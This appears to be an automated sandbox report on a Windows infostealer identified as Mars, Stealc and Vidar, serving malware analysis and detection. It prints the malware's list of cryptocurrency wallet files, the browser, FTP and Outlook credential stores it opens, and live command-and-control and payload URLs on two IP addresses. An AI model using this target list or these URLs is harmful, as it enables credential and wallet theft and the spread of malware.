Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: w3WOJ1ohgD.exe PID: 7428, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 0.2.w3WOJ1ohgD.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.w3WOJ1ohgD.exe.24c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.w3WOJ1ohgD.exe.24c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w3WOJ1ohgD.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w3WOJ1ohgD.exe.9f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w3WOJ1ohgD.exe.9f0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1663513978.00000000024C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2070369316.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2070492271.0000000000A54000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: w3WOJ1ohgD.exe PID: 7428, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.w3WOJ1ohgD.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w3WOJ1ohgD.exe.9f0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w3WOJ1ohgD.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.w3WOJ1ohgD.exe.24c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.w3WOJ1ohgD.exe.24c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w3WOJ1ohgD.exe.9f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1663513978.00000000024C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2070369316.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: w3WOJ1ohgD.exe PID: 7428, type: MEMORYSTR

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CED0C40 sqlite3_bind_zeroblob,	0_2_6CED0C40
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CED0D60 sqlite3_bind_parameter_name,	0_2_6CED0D60
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CDF8EA0 sqlite3_clear_bindings,	0_2_6CDF8EA0
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_00071390 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,	9_2_00071390
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_00072D60 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,	9_2_00072D60

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	111 Process Injection	2 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	4 Data from Local System	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	144 System Information Discovery	Distributed Component Object Model	1 Email Collection	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	131 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Virtualization/Sandbox Evasion	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Process Injection	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Link
w3WOJ1ohgD.exe	32%	ReversingLabs
w3WOJ1ohgD.exe	39%	Virustotal	Browse
w3WOJ1ohgD.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal	Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tiktok[1].exe	21%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tiktok[1].exe	38%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	21%	ReversingLabs
C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	38%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
https://mozilla.org0/	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.172.128.76/15f649199f40275b/nss3.dll	0%	Avira URL Cloud	safe
http://185.172.10n	0%	Avira URL Cloud	safe
http://185.1	0%	Avira URL Cloud	safe
http://185.172.128.76/3cBn	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/nss3.dllBz	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/softokn3.dll	0%	Avira URL Cloud	safe
http://185.1	0%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/mozglue.dll	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/nss3.dll	0%	Virustotal		Browse
http://185.172.128.76/3cd2b41cbde8fc9c.phpt	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exe	100%	Avira URL Cloud	malware
http://185.172.128.203/tiktok.exe00	0%	Avira URL Cloud	safe
185.172.128.76/3cd2b41cbde8fc9c.php	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.php	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.phpt	3%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/mozglue.dll	0%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/nss3.dll$z	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.phpVDW	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/freebl3.dll	0%	Avira URL Cloud	safe
http://185.172.128.76/3cd2b41cbde8fc9c.php	13%	Virustotal		Browse
http://185.172.128.76/3cd2b41cbde8fc9c.php71bb574811636c15fa1a905272a27release79d524d37ca609991fe296	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/softokn3.dll	0%	Virustotal		Browse
http://185.172.128.203/tiktok.exe	20%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/msvcp140.dll	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exet-Disposition:	0%	Avira URL Cloud	safe
185.172.128.76/3cd2b41cbde8fc9c.php	13%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/vcruntime140.dll	0%	Avira URL Cloud	safe
http://185.172.128.76/15f649199f40275b/freebl3.dll	0%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/sqlite3.dll	0%	Avira URL Cloud	safe
http://185.172.128.76	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exet-Disposition:	15%	Virustotal		Browse
http://185.172.128.76/3cd2b4Mn?	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exe00	15%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/vcruntime140.dll	0%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/msvcp140.dll	0%	Virustotal		Browse
http://185.172.128.76	10%	Virustotal		Browse
http://185.172.128.76/15f649199f40275b/sqlite3.dll	9%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.172.128.76/15f649199f40275b/nss3.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/softokn3.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/mozglue.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.203/tiktok.exe	false	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
185.172.128.76/3cd2b41cbde8fc9c.php	true	13%, Virustotal, Browse Avira URL Cloud: safe	low
http://185.172.128.76/3cd2b41cbde8fc9c.php	true	13%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/freebl3.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/msvcp140.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/vcruntime140.dll	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.76/15f649199f40275b/sqlite3.dll	true	9%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.172.128.76/15f649199f40275b/nss3.dllBz	w3WOJ1ohgD.exe, 00000000.00000002.2070492271.0000000000A54000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	w3WOJ1ohgD.exe, 00000000.00000003.1716704482.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp, HJDAKFBF.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	CAAKFIIDGIEHIDGCGHIIECGIJK.0.dr	false		high
http://185.172.10n	w3WOJ1ohgD.exe, 00000000.00000002.2090498713.0000000026EFB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.mozilla.com/en-US/blocklist/	w3WOJ1ohgD.exe, w3WOJ1ohgD.exe, 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
